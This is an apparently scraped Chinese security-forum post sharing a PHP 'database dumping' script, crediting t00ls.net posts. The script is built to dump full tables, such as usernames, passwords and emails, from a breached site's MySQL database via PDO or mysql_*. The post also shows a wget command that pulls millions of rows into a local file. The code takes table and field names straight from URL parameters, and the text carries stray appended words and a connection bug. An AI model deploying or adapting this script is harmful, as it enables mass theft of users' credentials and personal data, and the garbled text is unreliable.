PHP wget 加強脫褲腳本(PDO MYSQL)

腳本參考了 LCX Gavin2位前輩的帖子.在此表示很是的感謝.php

                https://www.t00ls.net/thread-26740-1-1.htmlhtml

                https://www.t00ls.net/thread-26791-1-1.htmlmysql

說明:腳本支持PDO和MYSQL 2種方式 優先使用PDO .若是服務器不支持PDO  就選擇MYSQL 方式. 我的認爲  PDO 的好處有效率高  代碼簡潔 通用性好  這代碼稍做改動就能夠拿去脫mssqlsql

不過用php和mssql組合的應該很少- -!thinkphp

     使用方法  首先要腳本中配置好主機地址 端口 數據庫名稱 用戶名  密碼 以及數據庫的編碼方式(經常使用GPK 或者UTF8 設置不對中文字段可能會出現亂碼);shell

                  而後就是構造wget的url地址:參數由$_GET傳遞到服務器數據庫

                                      t=                          //必須 表名 不然程序會退出服務器

                                      f=                        //可選   須要脫的字段 經過英文逗號分割fetch

                                      s=                       //可選  起始位置  如未設置從0開始編碼

                                      e=                      //可選   結束位置  若是未設置爲所有數據

                                      l=                         //可選 分段長度  默認設置爲5000

在shell終端下執行 wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt 而後坐等下載

 

代碼:

<?php
//使用方法: wget "http://localhost/getsql.php?t='xiaomi_com'&f=username,password,email&s=0&e=2000000$l=5000" -O data.txt
//借鑑了 LCX Gavin 2大前輩的腳本.
//                LCX          [url=https://www.t00ls.net/thread-26740-1-1.html]https://www.t00ls.net/thread-26740-1-1.html[/url]
//                Gavin [url=https://www.t00ls.net/thread-26791-1-1.html]https://www.t00ls.net/thread-26791-1-1.html[/url]
//

        error_reporting(0);
        ignore_user_abort();
        set_time_limit(0);
        ob_clean();

        define('DB_HOST', '127.0.0.1');
        define('DB_PORT','3306');
        define('DB_NAME', 'thinkphp');
        define('DB_USER', 'root');
        define('DB_PASS', 'wanan');
        define('DB_CHAR', 'utf8');

        $type=class_exists('PDO')?'PDO':'MYSQL';
        $table=$_GET['t']?$_GET['t']:die('表名必須!');                                                //表名          必須 t      
        $limit_start=$_GET['s']?intval($_GET['s']):0;                                                //開始條數  可選 s 默認爲0
        $limit_end=$_GET['e']?intval($_GET['e']):0;                                                        //結束條數  可選 e 默認爲全部
        $limit_length=$_GET['l']?intval($_GET['l']):5000;                                        //分段條數  可選 l 默認爲5000 
        $filed=$_GET['f']?$_GET['f']:'*';                                                                        //字段名         可選 f        用,分割沒有則爲所有字段 

        if($type=='PDO'){
                $dsn='mysql:host='.DB_HOST.';port='.DB_PORT.';dbname='.DB_NAME;
                $options = array(
                        PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES '.DB_CHAR,
                ); 
                try{
                                 $dbh = new PDO($dsn,DB_USER,DB_PASS,$options);
                }catch (PDOException $e) {
                        die('PDO ERROR!');
                }
                $sql='SELECT COUNT(-1) FROM `'.$table.'`;';
                $do=$dbh->query($sql);
                if($do){
                        $count=$do->fetch();
                }else{
                        die('PDO COUNT ERROR');
                }
                $limit_end=($limit_end)?$limit_end:$count[0];
                $limit_end=$limit_end-$limit_start;
                $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
                $section=ceil($limit_end/$limit_length);
                if (ob_get_level() == 0){
                                ob_start();                                        
                }else{
                                die('PDO ERROR');
                }
                for($i=0;$i<$section;$i++){
                        $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
                        $s=$dbh->query($sql);
                        $arr=$s->fetchALL(PDO::FETCH_ASSOC);
                        foreach ($arr as $value) {
                                echo(implode('        ', $value)."\n");
                        }
                        ob_end_flush();
                }

        }else{
                $link=mysql_connect(DB_HOST.':'.DB_PASS,DB_USER,DB_PASS);
                if($link){
                        mysql_select_db(DB_NAME,$link);
                        mysql_query('SET NAMES '.DB_CHAR);
                        $sql='SELECT COUNT(-1) FROM `'.$table.'`;';
                        $count=mysql_fetch_array(mysql_query($sql));
                        $limit_end=($limit_end)?$limit_end:$count[0];
                        $limit_end=$limit_end-$limit_start;
                        $limit_length=$limit_end>$limit_length?$limit_length:$limit_end;
                        $section=ceil($limit_end/$limit_length);
                        if (ob_get_level() == 0){
                                ob_start();                                        
                        }else{
                                die('MYSQL ERROR');
                        }
                        for($i=0;$i<$section;$i++){
                                $sql='SELECT '.$filed.' FROM  '.$table.' LIMIT '.($limit_start+1+$i*$limit_length).','.$limit_length.';';
                                $a=mysql_query($sql);
                                if($b=mysql_fetch_row($a)){
                                        do{
                                                echo(implode('        ', $b)."\n");
                                        }while($b=mysql_fetch_row($a));
                                }
                                ob_end_flush();
                        }
                }else{
                        die('MYSQL ERROR!');
                }

        }
        

        ?>
相關文章
相關標籤/搜索